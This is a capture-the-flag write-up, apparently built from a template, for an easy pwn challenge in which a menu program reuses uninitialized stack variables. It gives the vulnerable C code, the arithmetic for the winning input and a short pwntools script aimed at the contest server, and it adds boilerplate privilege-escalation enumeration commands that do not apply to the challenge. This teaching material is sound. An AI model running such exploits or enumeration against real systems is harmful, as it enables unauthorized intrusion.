← Back to Writeups
HTBN/APwn

Brick Workshop

XESXOR8/23/20265 min read
#pwn#htb#n/a

Brick Workshop

Platform: Umasscybersec | Category: Pwn | Type: Challenge | Difficulty: Easy | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-11 | Status: Solved Techniques: algebraic_input_selection, stale_stack_value_reuse, stateful_menu_logic_abuse

Summary

Task: an amd64 menu service stores calibration integers in stack locals inside workshop_turn() and later reuses them after a state change. Solution: trigger diagnostics once to seed stale stack values, choose pigment 0xBEEF, then invoke diagnostics again so the uninitialized reuse satisfies the win check.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: umasscybersec | ID: 20260411_umasscybersec_brick_workshop
  • Tags: logic_bug, uninitialized_stack, stack_reuse, amd64, non_pie
  • Indicators: Local variables are declared in a looped function and only initialized on one branch, A first-run flag changes program state but later code still uses stack locals from a previous call, The success check is a simple arithmetic expression over previously entered integers, Re-entering the same menu action triggers validation without collecting fresh input
  • Source: 20260411_umasscybersec_brick_workshop.md

Foothold

Vulnerability / Misconfiguration

  1. Algebraic_input_selection
  2. Stale_stack_value_reuse
  3. Stateful_menu_logic_abuse
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • algebraic_input_selection
  • stale_stack_value_reuse
  • stateful_menu_logic_abuse
  • Tags: logic_bug, uninitialized_stack, stack_reuse, amd64, non_pie

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Provided challenge materials: bad_eraser, bad_eraser.c, Dockerfile, Makefile, and the remote service nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002.

English summary: this was a small amd64 menu binary themed as a brick workshop. The goal was to review the control flow, find how the hidden win() condition could be reached, and retrieve the flag from the remote service.

Service:

nc bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org 45002

Challenge Summary

This was not a classic memory-corruption pwn with a buffer overflow or ROP chain. The binary was an amd64 ELF, dynamically linked, non-PIE, NX enabled, no canary, partial RELRO, and not stripped, but the real issue was a logic bug caused by uninitialized stack variables.

The exploit path was just:

  1. Choose menu option 3
  2. Enter 0 48879
  3. Choose menu option 3 again

That second diagnostics call reused stale stack values from the previous call and immediately hit win().

Recon / Code Review

The important code lives in workshop_turn():

static void workshop_turn(void) {
    int choice;
    unsigned int mold_id;
    unsigned int pigment_code;

    banner();
    if (scanf("%d", &choice) != 1) {
        exit(0);
    }

    ...

    if (!service_initialized) {
        puts("First-time calibration required.");
        puts("Enter mold id and pigment code.");
        if (scanf("%u %u", &mold_id, &pigment_code) != 2) {
            exit(0);
        }

        puts("Calibration saved. Re-enter diagnostics for clutch validation.");
        service_initialized = 1;
        return;
    }

    diagnostics_bay(mold_id, pigment_code);
}

The hidden success path is in diagnostics_bay():

static unsigned int clutch_score(unsigned int mold_id, unsigned int pigment_code) {
    return (((mold_id >> 2) & 0x43u) | pigment_code) + (pigment_code << 1);
}

static void diagnostics_bay(unsigned int mold_id, unsigned int pigment_code) {
    puts("Running clutch-power diagnostics...");
    if (clutch_score(mold_id, pigment_code) == 0x23ccdu) {
        win();
    }

    puts("Result: unstable clutch fit. Send batch back to sorting.");
    exit(0);
}

Vulnerability Explanation

The bug is use of uninitialized stack variables.

mold_id and pigment_code are local variables inside workshop_turn(). They are initialized only in the first diagnostics path:

  • first option 3 call: scanf("%u %u", &mold_id, &pigment_code); service_initialized = 1; return;
  • second option 3 call: diagnostics_bay(mold_id, pigment_code);

On the second visit, the function declares the same locals again but does not assign them before using them. Because workshop_turn() is called repeatedly in a loop, the new stack frame reuses the same stack area, so the previous calibration values are still sitting there. In practice, the second call forwards those stale values into diagnostics_bay().

So this is a state bug:

  • a global flag says the service is initialized
  • the code assumes the old calibration data still exists
  • but that data only lived in stack locals from the previous function call

Exploit Strategy

We need:

clutch_score(mold_id, pigment_code) == 0x23CCD

with:

clutch_score(mold_id, pigment_code)
= (((mold_id >> 2) & 0x43) | pigment_code) + (pigment_code << 1)

The chosen input is:

  • first menu choice: 3
  • calibration input: 0 48879
  • second menu choice: 3

Why 48879 works:

  • 48879 == 0xBEEF
  • ((mold_id >> 2) & 0x43) can only contribute values in {0,1,2,3,64,65,66,67}
  • OR-ing any of those values with 0xBEEF still gives 0xBEEF
  • so the first term becomes exactly 0xBEEF

Therefore:

clutch_score = 0xBEEF + 2*0xBEEF = 3*0xBEEF = 0x23CCD

This means the stale pigment_code alone is enough to satisfy the check. mold_id can be 0 because the mask contribution is irrelevant after the OR.

Minimal Solve Script

#!/usr/bin/env python3
from pwn import *

HOST = "bad-eraser-brick-workshop.pwn.ctf.umasscybersec.org"
PORT = 45002


def main():
    io = remote(HOST, PORT)

    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"Enter mold id and pigment code.\n", b"0 48879")
    io.sendlineafter(b"> ", b"3")

    print(io.recvall(timeout=2).decode(errors="replace"))


if __name__ == "__main__":
    main()

Sample Remote Output

Running clutch-power diagnostics...
Master Builder status unlocked!
UMASS{REDACTED}
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR